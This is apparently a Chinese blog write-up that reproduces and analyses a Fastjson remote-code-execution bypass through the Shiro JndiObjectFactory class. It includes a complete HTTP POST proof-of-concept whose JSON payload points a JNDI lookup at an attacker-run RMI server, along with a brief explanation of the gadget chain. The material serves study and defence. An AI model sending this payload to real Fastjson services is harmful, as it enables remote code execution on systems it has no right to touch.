Loading

Fastjson ShiroCore Rce漏洞复现&分析

0x01 漏洞背景

0x02 漏洞复现

poc:

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.3:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 119

{
	"@type":"org.apache.shiro.jndi.JndiObjectFactory",
	"resourceName":"rmi://192.168.52.2:9999/rce_1_2_24_exploit"
}

image-20201120150337861

0x03 漏洞分析

同其他利用链一样,该利用同样是使用未在黑名单中的类进行绕过。

从poc便可得知,在为org.apache.shiro.jndi.JndiObjectFactory这个类resourceName属性进行赋值时调用该方法,最后通过set或者get方法进行jndi调用导致命令执行。

打开org.apache.shiro.jndi.JndiObjectFactory这个类的源码跟踪调试看看

image-20201120152155173

在调用getinstance这个get方法的时候进入了jndi的lookup调用方法

image-20201120152318517

最终通过这个lookup调用我们控制的ResourceName中的rmi

0x04 参考

https://www.cnblogs.com/tr1ple/p/12348886.html

posted @ 2021-02-05 20:45  0x28  阅读(220)  评论(0编辑  收藏  举报